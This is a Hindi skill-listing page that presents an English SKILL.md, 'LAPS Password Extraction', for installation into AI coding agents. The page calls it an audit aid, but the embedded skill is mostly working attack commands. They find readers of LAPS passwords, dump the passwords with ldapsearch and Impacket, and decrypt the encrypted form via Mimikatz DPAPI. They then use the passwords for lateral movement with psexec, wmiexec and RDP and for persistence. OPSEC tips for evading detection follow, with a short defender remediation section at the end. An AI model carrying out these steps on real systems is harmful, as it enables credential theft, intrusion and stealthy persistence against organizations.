laps
यह क्या करती है
यह स्किल Local Administrator Password Solution के बारे में है, एक Windows सुविधा जो हर कंप्यूटर का स्थानीय एडमिन पासवर्ड Active Directory में रखती है। यह उन सुरक्षा कर्मचारियों के लिए है जो ऑडिट करते हैं कि ये पासवर्ड कौन पढ़ सकता है।
कब इस्तेमाल करें
- ✓जब कोई सुरक्षा परीक्षक अधिकृत डोमेन में पता लगाना चाहता है कि कौन-से खाते LAPS पासवर्ड पढ़ सकते हैं।
- ✓जब एजेंट को पुष्टि करनी हो कि डायरेक्टरी स्कीमा में LAPS लगा है या नहीं।
- ✓जब ऑडिट रिपोर्ट को समझाना हो कि स्थानीय एडमिन पासवर्ड पर व्यापक पढ़ने की पहुँच क्यों जोखिम भरी है।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हमारे अधिकृत टेस्ट डोमेन पर कौन-से खाते LAPS के स्थानीय एडमिन पासवर्ड पढ़ सकते हैं?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट यह देखने के लिए डायरेक्टरी स्कीमा जाँचता है कि LAPS लगा है या नहीं, फिर उन खातों की सूची बनाता है जिनके पास कंप्यूटर ऑब्जेक्ट पर पढ़ने का अधिकार है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
LAPS Password Extraction
LAPS (Local Administrator Password Solution) stores randomized local
admin passwords on computer objects in AD. Reading them requires
ms-Mcs-AdmPwd (legacy) or msLAPS-Password (Windows LAPS) read
permission — which is OFTEN over-delegated.
1. Detect LAPS deployment
# Legacy LAPS schema
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \
'(name=ms-Mcs-AdmPwd)' name
# Windows LAPS (2023+)
ldapsearch ... '(name=msLAPS-Password)' name
# Either present = LAPS is deployed
2. Find delegated readers (your target ACL)
From BloodHound — anyone with ReadLAPSPassword edge:
MATCH (n)-[:ReadLAPSPassword]->(c:Computer)
RETURN DISTINCT n.name, c.name
Common over-delegation patterns:
- "HelpDesk-LAPS-Read" groups granted to ALL computers
- IT-Operations OUs reading their child OUs (then a flat OU = global)
- Service accounts with
GenericAllon Computer objects (implies LAPS read)
3. Read passwords (assuming you can)
# Direct LDAP query as authorized user
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \
name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > /tmp/laps.txt
# Windows LAPS uses encrypted attribute by default
ldapsearch ... \
'(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \
name dNSHostName msLAPS-EncryptedPassword msLAPS-Password
Impacket helper:
# Recovers legacy LAPS
GetLAPSPassword.py 'DOM/USER:PASS@DC_FQDN' \
-outputfile /tmp/laps.csv
# Newer Windows LAPS w/ encryption: use python-windows-laps or
# manual ASN.1 decode w/ user's DPAPI key
4. Bulk-process result
laps_ingest("/tmp/laps.txt")
This adds:
kg_add_node(kind="credential", label="<host>\\Administrator:<plain>",
props={"source":"laps","host":"<host>","expires":"<date>"})
kg_add_edge(src=<cred>, dst=<computer>, kind="local-admin")
5. Cracking encrypted LAPS (Windows LAPS only)
Windows LAPS (server 2022+) encrypts the password with a per-principal DPAPI key derived from the AD-stored public key. To decrypt:
- You need either the authorized principal's DPAPI master key (from their
profile via Mimikatz
dpapi::masterkey), or - The recovery key configured via
Set-LAPSADAuditingpolicy
If neither, the msLAPS-EncryptedPassword blob is useless without context.
6. Authentication with LAPS pw
# SMB / WMI as local admin
psexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
wmiexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
# RDP
xfreerdp /u:Administrator /p:'LAPS_PW' /v:10.0.0.5 +clipboard
NOTE: LAPS rotates on a schedule (default 30 days). Use the pw quickly and grab a more durable foothold (cached creds, scheduled task, service account hash).
OPSEC
- LDAP search for
ms-Mcs-AdmPwdattribute is event 4662 on DC with object type Computer andPropertiesreferencing the AdmPwd GUID - Detection signature: 4662 reading large numbers of computer objects for the AdmPwd attribute = LAPS scrape in progress
- Spread reads over time, scope by OU not domain-wide
CVSS
- Anyone in domain reading any LAPS pw:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H= 7.5 - Over-delegated to wide group reading hundreds of hosts: 9.0 (scope: Changed)
Defender remediation
# Audit who can read LAPS pw on a Computer object
Get-ACL "AD:CN=HOST,OU=Servers,DC=dom,DC=local" |
Select -ExpandProperty Access |
Where {$_.ObjectType -eq '<AdmPwd-GUID>'} |
Format-Table IdentityReference, ActiveDirectoryRights
# Remove over-delegated readers
$acl = Get-ACL "AD:CN=HOST,..."
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
'DOM\HelpDeskGroup', 'ExtendedRight', 'Deny',
'<AdmPwd-GUID>', 'Descendents', '<Computer-GUID>')
$acl.AddAccessRule($ace)
Set-ACL -Path "AD:CN=HOST,..." -AclObject $acl
# Or use the LAPS-shipped audit cmdlet
Find-AdmPwdExtendedRights -Identity 'OU=Servers,DC=dom,DC=local'
Known exemplars
- 2018: HelpDeskTier1 group granted ReadLAPS at domain root by accident → entire estate compromised
- 2021: Tenable Nessus default service account had LAPS read via GenericAll
- 2023: Multiple ManageEngine deployments over-delegated LAPS to "AssetMgmt" service account
अक्सर पूछे जाने वाले सवाल
LAPS क्या है?
यह एक Microsoft सुविधा है जो हर कंप्यूटर को अपना अलग यादृच्छिक स्थानीय एडमिन पासवर्ड देती है और उसे Active Directory में रखती है।
ज़रूरत से ज़्यादा दी गई पहुँच समस्या क्यों है?
स्किल कहती है कि जब बहुत से खाते ये पासवर्ड पढ़ सकते हैं, तो एक समझौता हुआ खाता कई कंप्यूटरों तक पहुँच सकता है।
क्या स्किल पासवर्ड पढ़ना सिखाती है?
यह अधिकृत ऑडिट में की जाने वाली जाँचों का वर्णन करती है। पासवर्ड पढ़ने के लिए स्पष्ट अनुमति चाहिए।
जानकारी
लेखक का मूल विवरण
Extract LAPS-managed local administrator passwords from AD computer objects (ms-Mcs-AdmPwd / msLAPS-Password).
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #13943
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।